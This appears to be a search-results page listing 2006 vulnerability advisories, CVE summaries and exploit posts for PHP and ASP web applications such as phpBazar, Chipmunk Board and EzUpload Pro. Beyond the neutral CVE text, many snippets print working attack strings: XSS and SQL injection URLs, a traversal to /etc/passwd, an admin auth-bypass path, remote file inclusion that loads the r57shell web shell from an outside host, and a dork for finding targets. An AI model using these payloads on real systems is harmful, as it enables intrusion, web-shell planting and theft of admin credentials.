2877 matches found
Professional PHP Tools Guestbook Multiple Vulnerabilities
Advisory: Professional PHP Tools Guestbook Multiple Vulnerabilities Release Date: 2006/06/17 Last Modified: 2006/07/17 Author: Tamriel tamriel at gmx dot net Application: Professional PHP Tools Guestbook Risk: Medium Vendor Status: contacted | no patch available Vendor Site: www.php-tools.eu...
tbe40-XSS.txt
The Banner Engine - tbe4.0 Native Solutions -------------------------- Cross Site Scripting XSS -------------------------- http://target.xx/top.php?action=search&catid=catid&text=%3Cscript%3Ealert%22Ellipsis+Security+Test%22%3C/script%3E...
CVE-2006-3046
Unspecified vulnerability in the admin login feature in Subtext 1.5, in a multiblog setup, allows remote administrators of one blog to login to another blog...
CVE-2006-3046
This entry (CVE-2006-3046) describes an unspecified vulnerability in the Subtext 1.5 admin login feature in a multiblog setup, where remote administrators of one blog can log in to another blog. The available sources report only the vulnerability existence and affected component; no root-cause de...
CVE-2006-3046
Unspecified vulnerability in the admin login feature in Subtext 1.5, in a multiblog setup, allows remote administrators of one blog to login to another blog...
CVE-2006-3046: Undefined Security Weakness
Unspecified vulnerability in the admin login feature in Subtext 1.5, in a multiblog setup, allows remote administrators of one blog to login to another blog...
CVE-2006-2891
Cross-site scripting XSS vulnerability in admin/index.php for Pixelpost 1-5rc1-2 and earlier allows remote attackers to inject arbitrary HTML or web script via the loginmessage parameter...
Partial Links v1.2.2
Partial Links v1.2.2 Homepage: http://www.particlesoft.net/particlelinks/ Effected files: index.php pagefooter.php admin.php Exploits & Vulnerabilities: Possible directory traversal?: http://www.example.com/OtherSites/X2526Y/../../../../../etc/passwd/ SQL Injection:...
CVE-2006-2822
SQL injection vulnerability in admin/default.asp in Dusan Drobac CodeAvalanche FreeForum aka CAForum 1.0 allows remote attackers to execute arbitrary SQL commands via the password parameter...
Xss exploit in Chipmunk directory
Xss exploit in Chipmunk directory forum type : Chipmunk directory bug found by : black-code team : site-down type : Xss black-code: codes : http://www.example.com/directory/index.php?catid=catid&start='scriptalert10/script path to admin login: http://www.xxx.com/path/admin All my respect to my...
Sql injection
Multiple SQL injection vulnerabilities in Tamber Forum 1.9.13 and earlier allow remote attackers to execute arbitrary SQL commands via the 1 frmid parameter to a showforum.asp, 2 a search field to b forumsearch.asp, 3 Email address or 4 Password to c admin/index.asp, 5 frmcatid parameter to d...
multiple Xss exploits in : vCard 2.9
Subject: multiple Xss exploits in : vCard 2.9 Date: 27 May 2006 11:12:55 -0000 multiple Xss exploits in : vCard 2.9 forum type : vCard 2.9 bug found by : black-code&sweet-devil team : site-down type : Xss sweet-devil: http://www.example.com/cards/create.php?cardid='scriptalert10/script...
Multiple Xss exploits in Chipmunk Board
Subject: Multiple Xss exploits in Chipmunk Board Date: 27 May 2006 10:51:30 -0000 Multiple Xss exploits in Chipmunk Board forum type : Chipmunk Board bug found by : black-code&sweet-devil team : site-down type : Xss black-code: codes :...
Xss exploit in Photoalbum B&W v1.3
Xss exploit in Photoalbum B&W v1.3 forum type : Photoalbum B&W v1.3 bug found by : black-code & sweet-devil team : site-down type : Xss exploit : http://www.example.com/superalbum/index.php?pic='scriptalert10/script path to admin login: emails: [email protected] & [email protected] All my...
multiple file include exploits in EzUpload Pro v2.10
multiple file include exploits in EzUpload Pro v2.10 forum type : EzUpload Pro v2.10 bug found by : black-code & sweet-devil team : site-down type : file include exploits : form.php http://www.example.com/path/form.php?path=http://rst.void.ru/download/r57shell.txt?&cmd=pwd customize.php...
Critical sql injection in saphplesson 2.0
Critical sql injection in : forum type : saphplesson 2.0 bug found by : black-code&sweet-devil team : site-down type : sql injection black-code: http://www.xxx.net/sh3r/add.php?forumid=-120union20select20Modpassword20from20modretor sweet-devil:...
phpBazar210.txt
Title: phpBazar = 2.1.0 Multiple vulnerabilites URL: http://www.smartisoft.com/ Dork: inurl:classified.php phpbazar Exploits: -remote file inclusion: /classifiedright.php?languagedir=http://yourhost/cmd.gif?cmd=ls -access to admin login and password: /admin/admin.php?action=editmember&value=1 Fou...
phpBazar <= 2.1.0 Multiple vulnerabilites
Title: phpBazar = 2.1.0 Multiple vulnerabilites URL: http://www.smartisoft.com/ Dork: inurl:classified.php phpbazar Exploits: -remote file inclusion: /classifiedright.php?languagedir=http://yourhost/cmd.gif?cmd=ls -access to admin login and password: /admin/admin.php?action=editmember&value=1 Fou...
phpBazar <= 2.1.0 Remote (Include/Auth Bypass) Vulnerabilities
Exploit for unknown platform in category web applications ============================================================== phpBazar = 2.1.0 Remote Include/Auth Bypass Vulnerabilities ============================================================== Title: phpBazar = 2.1.0 Multiple vulnerabilites URL:...
phpBazar <= 2.1.0 Remote (Include/Auth Bypass) Vulnerabilities
No description provided by source. Title: phpBazar = 2.1.0 Multiple vulnerabilites URL: http://www.smartisoft.com/ Dork: inurl:classified.php phpbazar Exploits: -remote file inclusion: /classifiedright.php?languagedir=http://yourhost/cmd.gif?cmd=ls -access to admin login and password:...